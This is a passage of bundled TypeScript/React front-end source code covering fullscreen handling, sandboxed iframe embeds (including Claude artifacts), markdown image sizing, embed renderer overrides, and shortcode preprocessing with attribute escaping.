deck, the\n * embed viewers — shares one implementation instead of re-deriving the\n * event-ordering lessons below. The hub's `lib/utils/fullscreen-switch.ts`\n * re-exports from here (extractItems shim precedent).\n *\n * Two shapes of consumer:\n *   - PAGE-LEVEL (the deck): no `target` — fullscreens\n *     `document.documentElement`, uses the mask classes + geometry pulses.\n *   - ELEMENT-LEVEL (embed viewers): pass `target` — fullscreens one\n *     element; classes/pulses are optional and simply skipped when absent.\n *\n * Invariants (each guards a bug found while building the deck's fullscreen):\n * - Fullscreen STATE follows the fullscreenchange event exclusively (never\n *   set optimistically): Esc, keyboard shortcuts, buttons and browser\n *   chrome all converge on one listener.\n * - The switching mask (when configured) goes up PRE-EMPTIVELY:\n *   Chrome/Safari PAINT resized frames BEFORE fullscreenchange fires\n *   (whatwg/fullscreen#74), so masking inside the change event is already\n *   too late. `toggle()` masks before requesting; an Escape keydown\n *   listener (capture) masks the one exit path that skips toggle(); the\n *   change event remains the fallback for browser-chrome-initiated\n *   transitions.\n * - The swap is a multi-frame viewport animation (macOS especially): one\n *   rAF re-anchor is NOT enough. While masked, every resize fires\n *   onGeometryPulse (re-measure + re-anchor under a constant scrollY);\n *   quiet resizes for `quietMs` (or the `capMs` hard cap — a rejected\n *   fullscreen request after a pre-emptive mask must never wedge the mask\n *   up) end the switch.\n */\n\n/** Webkit-prefixed Fullscreen API fallbacks (Safari < 16.4 desktop, older\n *  iPadOS; iOS 26+ ships the standard API — isSupported() gates elsewhere). */\ntype FsDocument = Document & {\n  webkitFullscreenElement?: Element | null\n  webkitFullscreenEnabled?: boolean\n  webkitExitFullscreen?: () => void\n}\ntype FsElement = HTMLElement & { webkitRequestFullscreen?: () => void }\n\nconst fullscreenElementOf = (doc: FsDocument) => doc.fullscreenElement ?? doc.webkitFullscreenElement ?? null\n\nexport interface FullscreenSwitchOptions {\n  /** The element to fullscreen. Omit for page-level surfaces (the deck):\n   *  `document.documentElement` — window scrolling survives, which\n   *  element-level fullscreen would freeze. A callback so refs resolve at\n   *  toggle time, not construction time. */\n  target?: () => HTMLElement | null\n  /** Held on <html> while fullscreen is ACTIVE (steady-state styling).\n   *  Optional — element-level consumers style off their own state. */\n  activeClass?: string\n  /** Held on <html> for the DURATION of an enter/exit swap (the\n   *  mask/curtain). Optional — see `activeClass`. */\n  switchingClass?: string\n  /** New fullscreen state, straight from the change event. For a `target`\n   *  consumer this is \"MY element is the fullscreen element\". */\n  onFullscreenChange: (isFullscreen: boolean) => void\n  /** Geometry moved under a constant scrollY — re-measure + re-anchor.\n   *  Optional; fired once per resize during the swap and once more when\n   *  the switch ends. */\n  onGeometryPulse?: () => void\n  /** Switch ends after resizes have been quiet this long (default 200ms). */\n  quietMs?: number\n  /** Hard cap on a switch, mask-wedge failsafe (default 1000ms). */\n  capMs?: number\n}\n\nconst DEFAULT_QUIET_MS = 200\nconst DEFAULT_CAP_MS = 1000\n\nexport class FullscreenSwitchController {\n  private quietTimer = 0\n  private capTimer = 0\n  private attached = false\n\n  constructor(private readonly opts: FullscreenSwitchOptions) {}\n\n  /** SSR-safe feature detection — call post-mount to gate the affordance. */\n  static isSupported(): boolean {\n    if (typeof document === 'undefined') return false\n    const doc = document as FsDocument\n    const el = document.documentElement as FsElement\n    return (\n      Boolean(el.requestFullscreen || el.webkitRequestFullscreen) &&\n      (doc.fullscreenEnabled ?? doc.webkitFullscreenEnabled ?? true) !== false\n    )\n  }\n\n  get isFullscreen(): boolean {\n    const fs = fullscreenElementOf(document as FsDocument)\n    const target = this.opts.target?.()\n    return target ? fs === target : Boolean(fs)\n  }\n\n  attach(): void {\n    if (this.attached) return\n    this.attached = true\n    const doc = document as FsDocument\n    doc.addEventListener('fullscreenchange', this.onChange)\n    doc.addEventListener('webkitfullscreenchange', this.onChange)\n    window.addEventListener('keydown', this.onEscape, true)\n  }\n\n  detach(): void {\n    if (!this.attached) return\n    this.attached = false\n    const doc = document as FsDocument\n    doc.removeEventListener('fullscreenchange', this.onChange)\n    doc.removeEventListener('webkitfullscreenchange', this.onChange)\n    window.removeEventListener('keydown', this.onEscape, true)\n    window.removeEventListener('resize', this.onResize)\n    window.clearTimeout(this.quietTimer)\n    window.clearTimeout(this.capTimer)\n    if (this.opts.activeClass) doc.documentElement.classList.remove(this.opts.activeClass)\n    if (this.opts.switchingClass) doc.documentElement.classList.remove(this.opts.switchingClass)\n  }\n\n  /** Mask first (pre-emptive — see header), then request/exit. */\n  toggle = (): void => {\n    const doc = document as FsDocument\n    this.beginSwitch()\n    if (fullscreenElementOf(doc)) {\n      if (doc.exitFullscreen) doc.exitFullscreen().catch(() => {})\n      else doc.webkitExitFullscreen?.()\n    } else {\n      const el = (this.opts.target?.() ?? document.documentElement) as FsElement\n      // navigationUI:'hide' = prefer screen space over browser nav chrome.\n      if (el.requestFullscreen) el.requestFullscreen({ navigationUI: 'hide' }).catch(() => {})\n      else el.webkitRequestFullscreen?.()\n    }\n  }\n\n  /** Raise the mask + start tracking. Idempotent — safe from the pre-emptive\n   *  paths (toggle, Escape) AND again from the change event. */\n  private beginSwitch = (): void => {\n    if (this.opts.switchingClass) document.documentElement.classList.add(this.opts.switchingClass)\n    window.addEventListener('resize', this.onResize)\n    window.clearTimeout(this.capTimer)\n    this.capTimer = window.setTimeout(this.endSwitch, this.opts.capMs ?? DEFAULT_CAP_MS)\n  }\n\n  private endSwitch = (): void => {\n    window.clearTimeout(this.quietTimer)\n    window.clearTimeout(this.capTimer)\n    window.removeEventListener('resize', this.onResize)\n    this.opts.onGeometryPulse?.()\n    if (this.opts.switchingClass) document.documentElement.classList.remove(this.opts.switchingClass)\n  }\n\n  private armQuiet = (): void => {\n    window.clearTimeout(this.quietTimer)\n    this.quietTimer = window.setTimeout(this.endSwitch, this.opts.quietMs ?? DEFAULT_QUIET_MS)\n  }\n\n  private onResize = (): void => {\n    this.opts.onGeometryPulse?.()\n    this.armQuiet()\n  }\n\n  /** Escape is the one exit path that skips toggle() — pre-mask on the\n   *  keydown (capture phase), before the browser begins the swap. */\n  private onEscape = (e: KeyboardEvent): void => {\n    if (e.key === 'Escape' && this.isFullscreen) this.beginSwitch()\n  }\n\n  private onChange = (): void => {\n    const fs = this.isFullscreen\n    if (this.opts.activeClass) document.documentElement.classList.toggle(this.opts.activeClass, fs)\n    this.beginSwitch()\n    requestAnimationFrame(() => this.opts.onGeometryPulse?.())\n    this.armQuiet()\n    this.opts.onFullscreenChange(fs)\n  }\n}\n","\"use client\"\n\nimport React, { useState, useCallback, useRef, useEffect } from 'react'\n\n/** Loading skeleton for iframe embeds — clean iframe-sized rectangle.\n *  Uses `bg-ods-card` (visible token) rather than `bg-ods-skeleton`\n *  which resolves to transparent in this build (the same gotcha\n *  documented in `chat-message-row.tsx`'s skeleton). No fake inner\n *  placeholder cruft — a real loading iframe shows a blank rectangle.\n *\n *  Exported so a viewer that is still RESOLVING where its frame points\n *  (ClaudeEmbed probing for a self-hosted mirror, before it has a `src`)\n *  can render the IDENTICAL skeleton through `EmbedViewerFrame`, keeping\n *  every embed's loading state 1:1 with the Figma/Sheets/PDF viewers. */\nexport function EmbedLoadingSkeleton({ height }: { height?: string }) {\n  return (\n    <div\n      className=\"w-full rounded-lg border border-ods-border overflow-hidden bg-ods-card animate-pulse\"\n      style={{ height: height || 'calc(100vh - 250px)' }}\n    />\n  )\n}\n\nexport interface EmbedIframeProps {\n  /** The URL to embed */\n  src: string\n  /** Accessible title for the iframe */\n  title: string\n  /** Additional class names for the outer container */\n  className?: string\n  /** Container height (CSS value). Defaults to `calc(100vh - 250px)` */\n  height?: string\n  /** iframe `allow` attribute */\n  allow?: string\n  /** iframe `referrerPolicy` attribute */\n  referrerPolicy?: React.IframeHTMLAttributes<HTMLIFrameElement>['referrerPolicy']\n  /** iframe `loading` attribute */\n  loading?: 'eager' | 'lazy'\n  /** iframe `allowFullScreen` attribute */\n  allowFullScreen?: boolean\n  /**\n   * iframe `sandbox` attribute. Omitted by default — a first-party vendor\n   * (Figma, Google Sheets) is trusted with the full frame contract.\n   *\n   * Pass it for a frame whose contents are AUTHORED BY USERS: without the\n   * attribute an embedded document may navigate the top window, and a sandbox\n   * that omits `allow-top-navigation` takes that away. On a CROSS-ORIGIN frame\n   * `allow-same-origin` grants the frame its own origin, never the host's.\n   */\n  sandbox?: string\n}\n\n/**\n * Base iframe wrapper with loading skeleton and proper memory cleanup.\n *\n * Prevents memory leaks by:\n * - Using `key={src}` to force full unmount/remount when src changes\n * - Setting iframe src to about:blank on unmount to release the embedded document\n * - Resetting loaded state when src changes\n */\nexport function EmbedIframe({\n  src,\n  title,\n  className,\n  height,\n  allow,\n  referrerPolicy,\n  loading,\n  allowFullScreen,\n  sandbox,\n}: EmbedIframeProps) {\n  const [isLoaded, setIsLoaded] = useState(false)\n  const iframeRef = useRef<HTMLIFrameElement>(null)\n  const handleLoad = useCallback(() => setIsLoaded(true), [])\n\n  useEffect(() => {\n    setIsLoaded(false)\n  }, [src])\n\n  useEffect(() => {\n    const iframe = iframeRef.current\n    return () => {\n      if (iframe) {\n        try {\n          iframe.src = 'about:blank'\n        } catch {\n          // Cross-origin iframes may throw — safe to ignore\n        }\n      }\n    }\n  }, [src])\n\n  const resolvedHeight = height || 'calc(100vh - 250px)'\n\n  return (\n    <>\n      {!isLoaded && <EmbedLoadingSkeleton height={resolvedHeight} />}\n      <div\n        className={`w-full rounded-lg border border-ods-border overflow-hidden ${!isLoaded ? 'h-0 overflow-hidden' : ''} ${className || ''}`}\n        style={isLoaded ? { height: resolvedHeight } : undefined}\n      >\n        <iframe\n          key={src}\n          ref={iframeRef}\n          src={src}\n          className=\"w-full h-full border-0\"\n          title={title}\n          onLoad={handleLoad}\n          allow={allow}\n          referrerPolicy={referrerPolicy}\n          loading={loading}\n          allowFullScreen={allow?.includes('fullscreen') ? undefined : allowFullScreen}\n          sandbox={sandbox}\n        />\n      </div>\n    </>\n  )\n}\n","'use client'\n\nimport { ExternalLink } from 'lucide-react'\nimport { Button } from '../ui/button/button'\nimport { ClaudeIcon } from '../icons/claude-icon'\nimport { EmbedViewerFrame } from './embed-viewer-frame'\nimport { useClaudeMirrorSrc } from '../../hooks/use-claude-mirror-src'\nimport { toClaudeEmbedUrl } from '../../utils/embed-url-converters'\n\nexport type ClaudeEmbedKind = 'artifact' | 'design'\n\nexport interface ClaudeEmbedProps {\n  /** Any claude.ai / claude.site url. */\n  url: string\n  /** Which surface the link points at — only the heading differs. */\n  kind?: ClaudeEmbedKind\n  /** The author's name for this link, when they gave one. */\n  title?: string\n  /** iframe height (CSS value), matching `FigmaEmbed`'s prop. */\n  height?: string\n  /** iframe loading strategy. Defaults to `lazy`, as `FigmaEmbed` does. */\n  loading?: 'eager' | 'lazy'\n}\n\nconst KIND_HEADING: Record<ClaudeEmbedKind, string> = {\n  artifact: 'Claude Artifact',\n  design: 'Claude Design',\n}\n\n/**\n * A Claude artifact, in the SAME chrome as every other embed viewer\n * (`EmbedViewerFrame` — what `FigmaEmbed` renders): icon, heading, an\n * \"Open in Claude\" action, and the frame below. Reached through the\n * `{{claude-artifact:URL}}` / `{{claude-design:URL}}` shortcodes, so it looks\n * identical wherever markdown renders — a spec body, a comment, a links rail.\n *\n * FRAME SOURCE — fully under the hood, in priority order:\n *   1. The host's SELF-HOSTED MIRROR: the url's artifact id derives the\n *      storage-view proxy path (`toClaudeMirrorPath`), probed with a\n *      1-byte ranged fetch. When the host has ingested a copy, the frame\n *      shows it — claude.ai frame-locks CODE artifacts entirely, so this\n *      is the only way those ever render inline.\n *   2. claude.ai's own `/embed` route for a PUBLISHED artifact\n *      (`toClaudeEmbedUrl`).\n *   3. Neither → the shared frame's empty state.\n * The consumer passes only the claude URL; \"Open in Claude\" always\n * targets it, so commenting stays on claude.ai.\n *\n * What defeats the claude.ai leg: a Claude CODE url (no Embed settings\n * exist for it, and its `/embed` path answers `frame-ancestors 'self'`),\n * a Claude Design url (no embed route), an artifact whose author has not\n * allow-listed this host, or an http host (mixed content).\n */\nexport function ClaudeEmbed({ url, kind = 'artifact', title, height, loading = 'lazy' }: ClaudeEmbedProps) {\n  // Mirror detection lives in `useClaudeMirrorSrc` (derive from\n  // EndpointsRuntime + 1-byte ranged probe + background revalidation) — this\n  // component stays presentational.\n  const { src: mirrorSrc, status } = useClaudeMirrorSrc(url)\n  // While the probe is in flight (on a cold view that IS the ~1-2s\n  // self-heal), show the shell's loading state rather than the claude.ai\n  // fallback — a code artifact's fallback is the empty \"no embeddable view\"\n  // box, and flashing it before the mirror resolves reads as broken.\n  const isProbing = status === 'probing'\n  // Found → the mirror; otherwise the claude.ai embed (or its empty state).\n  // Suppressed while probing so the loading skeleton owns the body.\n  const embedUrl = isProbing ? null : (mirrorSrc ?? toClaudeEmbedUrl(url))\n  return (\n    <EmbedViewerFrame\n      className=\"my-6 space-y-3\"\n      icon={<ClaudeIcon className=\"w-5 h-5 shrink-0\" />}\n      title={title?.trim() || KIND_HEADING[kind]}\n      titleVariant=\"h6\"\n      isLoading={isProbing}\n      actions={\n        <Button\n          variant=\"outline\"\n          size=\"small-legacy\"\n          href={url}\n          openInNewTab\n          leftIcon={<ClaudeIcon className=\"w-4 h-4\" />}\n          rightIcon={<ExternalLink className=\"w-4 h-4\" />}\n          className=\"w-full sm:w-auto\"\n        >\n          Open in Claude\n        </Button>\n      }\n      src={embedUrl}\n      // The framed artifact has no internal fullscreen button of its own\n      // (unlike Figma's player) — the shell provides the toggle for both\n      // the claude.ai `/embed` route and a mirror.\n      fullscreenControl\n      loading={loading}\n      height={height}\n      // Same frame contract Figma gets — an artifact is a real app: it copies\n      // to the clipboard and can go fullscreen.\n      allow=\"clipboard-write; clipboard-read; fullscreen\"\n      // …but UNLIKE Figma, an artifact is USER-AUTHORED HTML and JS, so it is\n      // sandboxed. Omitting `allow-top-navigation` is the point: an artifact\n      // cannot navigate the page it is embedded in. The `allow-same-origin`\n      // token is CONDITIONAL on where the frame points:\n      //   - claude.ai `/embed` (no mirror): Anthropic's own embed snippet\n      //     uses it, and on a CROSS-ORIGIN frame it grants the frame\n      //     claude.ai's origin — never ours. The artifact runtime needs\n      //     it (storage, postMessage handshake).\n      //   - the derived MIRROR is served from the HOST's OWN origin —\n      //     `allow-same-origin` + `allow-scripts` there would be a no-op\n      //     sandbox handing the artifact first-party cookies and\n      //     `window.parent`. A static mirror renders fine from an opaque\n      //     origin, so the token is dropped.\n      sandbox={\n        mirrorSrc\n          ? 'allow-scripts allow-popups allow-forms'\n          : 'allow-scripts allow-same-origin allow-popups allow-forms'\n      }\n      allowFullScreen\n      emptyIcon={<ClaudeIcon className=\"w-16 h-16 mb-4\" />}\n      emptyMessage=\"Open this one in Claude · it has no embeddable view\"\n    />\n  )\n}\n","'use client';\n\nimport { useEffect, useState } from 'react';\nimport Image from '../../embed-shims/next-image';\nimport { useRichMarkdownRuntime } from './rich-markdown-runtime';\n\n/**\n * In-article markdown image.\n *\n * Markdown images have unknown intrinsic dimensions — which is what broke the old\n * approach: a fixed width/height made the Supabase loader `resize=cover` CROP tall\n * screenshots, and `w-full` then blew them up to the column width. This renders\n * through the lib's `next/image` shim (full Next.js Image Optimization on the hub,\n * plain `<img>` everywhere else) and fixes both problems at the source:\n *\n *   - `object-contain` flips the hub's Supabase loader (injected via\n *     `transformImageSrc` from the {@link RichMarkdownRuntimeProvider}) to\n *     `resize=contain` — aspect preserved, never cropped.\n *   - We learn the real aspect ratio from a tiny probe (the same\n *     `transformImageSrc` at 48px when available) and pass matching width/height\n *     so `next/image`'s aspect-ratio box is correct.\n *   - CSS (`max-w-full` + `max-h` + auto) caps the on-page size so a tall\n *     screenshot can't dominate the article, while the browser keeps the true\n *     aspect ratio.\n *\n * Embedders that don't pass `transformImageSrc` get an identity fallback — the\n * raw `src` is used both for the probe and the display copy.\n */\nconst MAX_H_REM = 32; // ~512px on-page cap\nconst DISPLAY_W = 768; // logical width hint; the optimizer handles srcset + retina\n\nexport function MarkdownImage({ src, alt }: { src: string; alt?: string }) {\n  const { transformImageSrc } = useRichMarkdownRuntime();\n  const [ratio, setRatio] = useState<number | null>(null); // width / height\n\n  useEffect(() => {\n    let cancelled = false;\n    // Reset on src change so a reused instance doesn't briefly size the new image with\n    // the previous image's ratio.\n    setRatio(null);\n    // Probe a tiny aspect-preserving variant so we learn the real ratio without\n    // downloading the full image; the display copy is then fetched once, at the right size.\n    // When no transformer is wired (embedders), fall back to the raw src.\n    const probeSrc = transformImageSrc(src, { width: 48, resize: 'contain', quality: 20 }) ?? src;\n    const probe = new window.Image();\n    probe.onload = () => {\n      if (!cancelled && probe.naturalWidth && probe.naturalHeight) {\n        setRatio(probe.naturalWidth / probe.naturalHeight);\n      }\n    };\n    probe.onerror = () => {\n      if (!cancelled) setRatio(1.5); // neutral fallback so we still render something\n    };\n    probe.src = probeSrc;\n    return () => {\n      cancelled = true;\n    };\n  }, [src, transformImageSrc]);\n\n  // Reserve a neutral box while probing so the layout doesn't jump when the image appears.\n  if (!ratio) {\n    return (\n      <span\n        className=\"mx-auto my-2 block w-full max-w-full animate-pulse rounded-lg bg-ods-card\"\n        style={{ aspectRatio: '3 / 2', maxHeight: `${MAX_H_REM}rem` }}\n        aria-hidden\n      />\n    );\n  }\n\n  return (\n    <Image\n      src={src}\n      alt={alt ?? 'No image available'}\n      width={DISPLAY_W}\n      height={Math.round(DISPLAY_W / ratio)}\n      sizes=\"(max-width: 768px) 100vw, 768px\"\n      loading=\"lazy\"\n      // `object-contain` → SupabaseOptimizedImage uses `resize=contain` (no crop).\n      // `w-full` (not `w-auto`) gives the img a definite width so it lays out + lazy-loads\n      // even before decode. Height follows via the aspect-ratio box; `maxHeight` caps tall\n      // images and `maxWidth = maxHeight × ratio` shrinks the width in lockstep so the box\n      // stays snug to the image (no letterbox bars).\n      className=\"mx-auto my-2 block h-auto w-full rounded-lg object-contain\"\n      style={{ maxWidth: `calc(${MAX_H_REM}rem * ${ratio})`, maxHeight: `${MAX_H_REM}rem` }}\n    />\n  );\n}\n","\"use client\";\n\n/**\n * Rich-composition component overrides: the embed layer (Video SSOT,\n * Reddit/Twitter/LinkedIn embeds, OG link previews, Figma, MarkdownImage).\n *\n * These imports are deliberately isolated in this file — keeping them out\n * of the engine and the simple composition keeps the CHAT bundle free of\n * embed code (a runtime `variant` prop could not be tree-shaken; a\n * separate composition module can).\n */\nimport React from 'react';\nimport type { Components } from 'react-markdown';\nimport { RedditEmbedClient } from '../../../embeds/reddit-embed-client';\nimport { TwitterEmbedClient } from '../../../embeds/twitter-embed-client';\nimport { LinkedInEmbedClient } from '../../../embeds/linkedin-embed-client';\nimport { Video } from '../../../features/video';\nimport { OGLinkPreview, OGLinkErrorBoundary } from '../../../embeds/og-link-preview';\nimport { FigmaEmbed } from '../../../embeds/figma-embed';\nimport { ClaudeEmbed } from '../../../embeds/claude-embed';\nimport { MarkdownImage } from '../../../embeds/markdown-image';\nimport { buildStandardLeafRenderers, hasRenderableSrc } from '../base-components';\nimport type { TextSizeElement } from '../text-size';\n\n/** Depth-first search of a hast node for the first `<a href>` matching `hostRe`. */\n// eslint-disable-next-line @typescript-eslint/no-explicit-any\nfunction findFirstHref(node: any, hostRe: RegExp): string | null {\n  if (!node) return null;\n  if (node.tagName === 'a') {\n    const href = node.properties?.href;\n    if (typeof href === 'string' && hostRe.test(href)) return href;\n  }\n  for (const child of node.children ?? []) {\n    const found = findFirstHref(child, hostRe);\n    if (found) return found;\n  }\n  return null;\n}\n\nexport interface BuildRichEmbedOverridesOptions {\n  ogApiBaseUrl: string;\n  ogEndpointPath: string;\n  textSizes: Record<TextSizeElement, string>;\n}\n\n/**\n * Overrides spread LAST onto the engine's base map: `code` (fence-language\n * embeds), `div` (shortcode-expanded embeds), `img` (MarkdownImage with\n * runtime transformImageSrc), `video` (raw tags → Video SSOT).\n */\nexport function buildRichEmbedOverrides({\n  ogApiBaseUrl,\n  ogEndpointPath,\n  textSizes,\n}: BuildRichEmbedOverridesOptions): Partial<Components> {\n  // Standard `code` / `blockquote` / `div` come from the base SSOT — this\n  // module owns ONLY the embed special cases and delegates every\n  // fall-through, so the shared markup can never drift between the two\n  // compositions.\n  //\n  // The delegations below CALL those renderers as plain functions rather\n  // than rendering them as components (that is what the `as any` casts are\n  // for). That is only sound because `buildStandardLeafRenderers` is\n  // documented HOOK-FREE — if a hook ever appears in one of them, these\n  // call sites must become real elements (`<Standard.code {...props} />`)\n  // first.\n  const standard = buildStandardLeafRenderers({ textSizes });\n\n  return {\n    // Fence-language embeds (```youtube-embed etc.); everything else\n    // (mermaid, highlighted blocks, inline code) falls through to `standard`.\n    // eslint-disable-next-line @typescript-eslint/no-explicit-any\n    code: (codeProps: any) => {\n      const { inline, className: codeClassName, children } = codeProps;\n      const match = /language-(\\w+)/.exec(codeClassName || '');\n      const language = match ? match[1] : '';\n      const fenceText = () => String(children).replace(/\\n$/, '').trim();\n\n      if (!inline && language === 'youtube-embed') {\n        return <Video kind=\"youtube\" url={fenceText()} />;\n      }\n      if (!inline && language === 'reddit-embed') {\n        return <RedditEmbedClient url={fenceText()} />;\n      }\n      if (!inline && language === 'tweet-embed') {\n        return <TwitterEmbedClient url={fenceText()} />;\n      }\n      if (!inline && language === 'link-preview') {\n        return (\n          <OGLinkPreview\n            url={fenceText()}\n            variant=\"compact\"\n            enablePlaceholder={false}\n            apiBaseUrl={ogApiBaseUrl}\n            ogEndpointPath={ogEndpointPath}\n          />\n        );\n      }\n      if (!inline && language === 'figma-embed') {\n        return <FigmaEmbed url={fenceText()} height=\"70vh\" />;\n      }\n      if (!inline && language === 'linkedin-embed') {\n        return <LinkedInEmbedClient url={fenceText()} />;\n      }\n\n      // eslint-disable-next-line @typescript-eslint/no-explicit-any\n      return (standard.code as any)(codeProps);\n    },\n\n    // Shortcode-expanded embeds: <div class=\"youtube-embed\" data-video-id>…\n    // eslint-disable-next-line @typescript-eslint/no-explicit-any\n    div: (divProps: any) => {\n      const { className, ...props } = divProps;\n      if (className === 'youtube-embed') {\n        return <Video kind=\"youtube\" url={props['data-video-id']} />;\n      }\n      if (className === 'reddit-embed') {\n        return <RedditEmbedClient url={props['data-post-url']} />;\n      }\n      if (className === 'tweet-embed') {\n        return <TwitterEmbedClient url={props['data-tweet-url']} />;\n      }\n      if (className === 'link-preview') {\n        const url = props['data-url'];\n        if (!url || typeof url !== 'string') {\n          console.warn('Invalid URL for link preview:', url);\n          return <div className=\"text-ods-text-secondary text-sm\">Invalid link</div>;\n        }\n        try {\n          new URL(url);\n          return (\n            <OGLinkErrorBoundary fallback={<div className=\"text-ods-text-secondary text-sm\">Link preview unavailable</div>}>\n              <OGLinkPreview\n                url={url}\n                variant=\"compact\"\n                enablePlaceholder={false}\n                apiBaseUrl={ogApiBaseUrl}\n                ogEndpointPath={ogEndpointPath}\n              />\n            </OGLinkErrorBoundary>\n          );\n        } catch (e) {\n          console.warn('Malformed URL for link preview:', url, e);\n          return <div className=\"text-ods-text-secondary text-sm\">Malformed URL: {url}</div>;\n        }\n      }\n      if (className === 'figma-embed') {\n        return <FigmaEmbed url={props['data-figma-url']} height=\"70vh\" />;\n      }\n      if (className === 'claude-embed') {\n        return (\n          <ClaudeEmbed\n            url={props['data-url']}\n            kind={props['data-kind'] === 'design' ? 'design' : 'artifact'}\n            title={props['data-title']}\n            height=\"70vh\"\n          />\n        );\n      }\n      if (className === 'linkedin-embed') {\n        return <LinkedInEmbedClient url={props['data-post-url']} />;\n      }\n      // eslint-disable-next-line @typescript-eslint/no-explicit-any\n      return (standard.div as any)(divProps);\n    },\n\n    // Pasted-from-the-platform embed markup lives in published blog posts as\n    // `<blockquote class=\"reddit-embed-bq\">…<a href=\"post-url\">` (58 blocks\n    // across 9 posts) — and Twitter's equivalent is\n    // `<blockquote class=\"twitter-tweet\">…<a href=\"status-url\">`. Each pair\n    // ships a `widgets.js` loader script, which `processShortcodes` strips\n    // from the source text (Step 1.5). The composition rehydrates the\n    // blockquote itself: extract the post URL from the first matching link\n    // and render the platform's embed-client SSOT. Other blockquotes fall\n    // through to the engine's base blockquote.\n    // eslint-disable-next-line @typescript-eslint/no-explicit-any\n    blockquote: (bqProps: any) => {\n      const { node, className } = bqProps;\n      const classNames: string = Array.isArray(className) ? className.join(' ') : (className ?? '');\n      if (classNames.includes('reddit-embed-bq')) {\n        const postUrl = findFirstHref(node, /reddit\\.com/);\n        if (postUrl) return <RedditEmbedClient url={postUrl} />;\n      }\n      if (classNames.includes('twitter-tweet')) {\n        const tweetUrl = findFirstHref(node, /(?:twitter\\.com|x\\.com)\\/[^/]+\\/status\\//);\n        if (tweetUrl) return <TwitterEmbedClient url={tweetUrl} />;\n      }\n      // eslint-disable-next-line @typescript-eslint/no-explicit-any\n      return (standard.blockquote as any)(bqProps);\n    },\n\n    // In-article images: MarkdownImage reads `transformImageSrc` from the\n    // rich-markdown runtime (Supabase optimization on the hub, identity\n    // elsewhere). Guard against empty `![]()`.\n    // eslint-disable-next-line @typescript-eslint/no-explicit-any\n    img: ({ src, alt }: any) => {\n      // Empty-`![]()` guard shared with the base `img` renderer.\n      if (!hasRenderableSrc(src)) return null;\n      return <MarkdownImage src={src.trim()} alt={alt} />;\n    },\n\n    // Raw <video> tags in stored content (blog publisher injection) route\n    // to the <Video> SSOT (MuxPlayer) so HLS manifests play everywhere.\n    // eslint-disable-next-line @typescript-eslint/no-explicit-any\n    video: ({ src, poster, className }: any) => {\n      if (!hasRenderableSrc(src)) return null;\n      return (\n        <div className={`overflow-hidden ${className || 'w-full my-8 rounded-lg'}`}>\n          <div className=\"w-full aspect-video\">\n            <Video kind=\"file\" url={src.trim()} poster={typeof poster === 'string' ? poster : undefined} />\n          </div>\n        </div>\n      );\n    },\n  };\n}\n","/**\n * Shortcode + auto-URL-embed preprocessing for the rich (content)\n * composition. Moved verbatim from the old RichMarkdownRenderer — the\n * `{{youtube:...}}` / `{% youtube %}` / thumbnail-link / auto-URL grammar\n * is authored-content SSOT; chat surfaces never run this.\n */\n\nexport const processShortcodes = (content: string): string => {\n  let processedContent = content;\n\n  // Escape values interpolated into the raw HTML `data-*` attributes generated below.\n  // With rehypeRaw enabled, an unescaped `\"`/`<`/`>` in a URL or id could break out of\n  // the attribute and inject markup, so every interpolated embed value goes through this.\n  const escapeAttr = (value: string) =>\n    value\n      .replace(/&/g, '&amp;')\n      .replace(/\"/g, '&quot;')\n      .replace(/</g, '&lt;')\n      .replace(/>/g, '&gt;');\n\n  // First, process explicit shortcodes\n  processedContent = processedContent\n    // YouTube embeds: {{youtube:VIDEO_ID}}\n    .replace(/\\{\\{youtube:([^}]+)\\}\\}/g, (match, videoId) => {\n      return `\\n\\n<div class=\"youtube-embed\" data-video-id=\"${escapeAttr(videoId.trim())}\"></div>\\n\\n`;\n    })\n    // Markdoc-style YouTube: {% youtube id=\"VIDEO_ID\" /%} or {% youtube id=\"VIDEO_ID\" title=\"...\" /%}\n    .replace(/\\{%\\s*youtube\\s+id=\"([^\"]+)\"(?:\\s+title=\"[^\"]*\")?\\s*\\/?%\\}/g, (match, videoId) => {\n      return `\\n\\n<div class=\"youtube-embed\" data-video-id=\"${escapeAttr(videoId.trim())}\"></div>\\n\\n`;\n    })\n    /**\n     * SHORTCODE: YouTube Thumbnail Link (RECOMMENDED - GitHub + Flamingo Compatible)\n     *\n     * SYNTAX: [![Title](https://img.youtube.com/vi/VIDEO_ID/QUALITY.jpg)](https://www.youtube.com/watch?v=VIDEO_ID)\n     *   - On GitHub: renders as a clickable thumbnail image linking to YouTube\n     *   - On Flamingo: converts to a full embedded YouTube player\n     * Use this format for docs that must work on BOTH GitHub and Flamingo;\n     * {{youtube:ID}} / {% youtube id=\"ID\" /%} are Flamingo-only.\n     */\n    .replace(/\\[!\\[([^\\]]*)\\]\\(https?:\\/\\/img\\.youtube\\.com\\/vi\\/([a-zA-Z0-9_-]+)\\/[^)]+\\)\\]\\(https?:\\/\\/(?:www\\.)?(?:youtube\\.com\\/watch\\?v=|youtu\\.be\\/)([a-zA-Z0-9_-]+)[^)]*\\)/g,\n      (match, altText, thumbId, videoId) => {\n        return `\\n\\n<div class=\"youtube-embed\" data-video-id=\"${videoId}\"></div>\\n\\n`;\n      })\n    // Reddit embeds: {{reddit:POST_URL}}\n    .replace(/\\{\\{reddit:([^}]+)\\}\\}/g, (match, urlOrId) => {\n      const postUrl = urlOrId.trim();\n      const fullUrl = postUrl.startsWith('http') ? postUrl : `https://reddit.com/r/${postUrl}`;\n      return `\\n\\n<div class=\"reddit-embed\" data-post-url=\"${escapeAttr(fullUrl)}\"></div>\\n\\n`;\n    })\n    // Twitter/X embeds: {{tweet:TWEET_URL}} or {{twitter:TWEET_URL}}\n    .replace(/\\{\\{(?:tweet|twitter):([^}]+)\\}\\}/g, (match, urlOrId) => {\n      const tweetInput = urlOrId.trim();\n      const tweetUrl = tweetInput.startsWith('http')\n        ? tweetInput\n        : `https://twitter.com/twitter/status/${tweetInput}`;\n      return `\\n\\n<div class=\"tweet-embed\" data-tweet-url=\"${escapeAttr(tweetUrl)}\"></div>\\n\\n`;\n    })\n    // Figma by file key (spec grammar): {{figma:FILE_KEY[:NODE_ID]}} → rewritten to the\n    // canonical URL form so the {{figma:URL}} rule below owns the rendering.\n    .replace(/\\{\\{figma:(?!https?:)([A-Za-z0-9]+)(?::([0-9]+[-:][0-9]+))?\\}\\}/g, (match, key, node) => {\n      const nodeParam = node ? `?node-id=${String(node).replace(':', '-')}` : '';\n      return `{{figma:https://www.figma.com/design/${key}${nodeParam}}}`;\n    })\n    // Figma embeds: {{figma:URL}}\n    .replace(/\\{\\{figma:([^}]+)\\}\\}/g, (match, url) => {\n      return `\\n\\n<div class=\"figma-embed\" 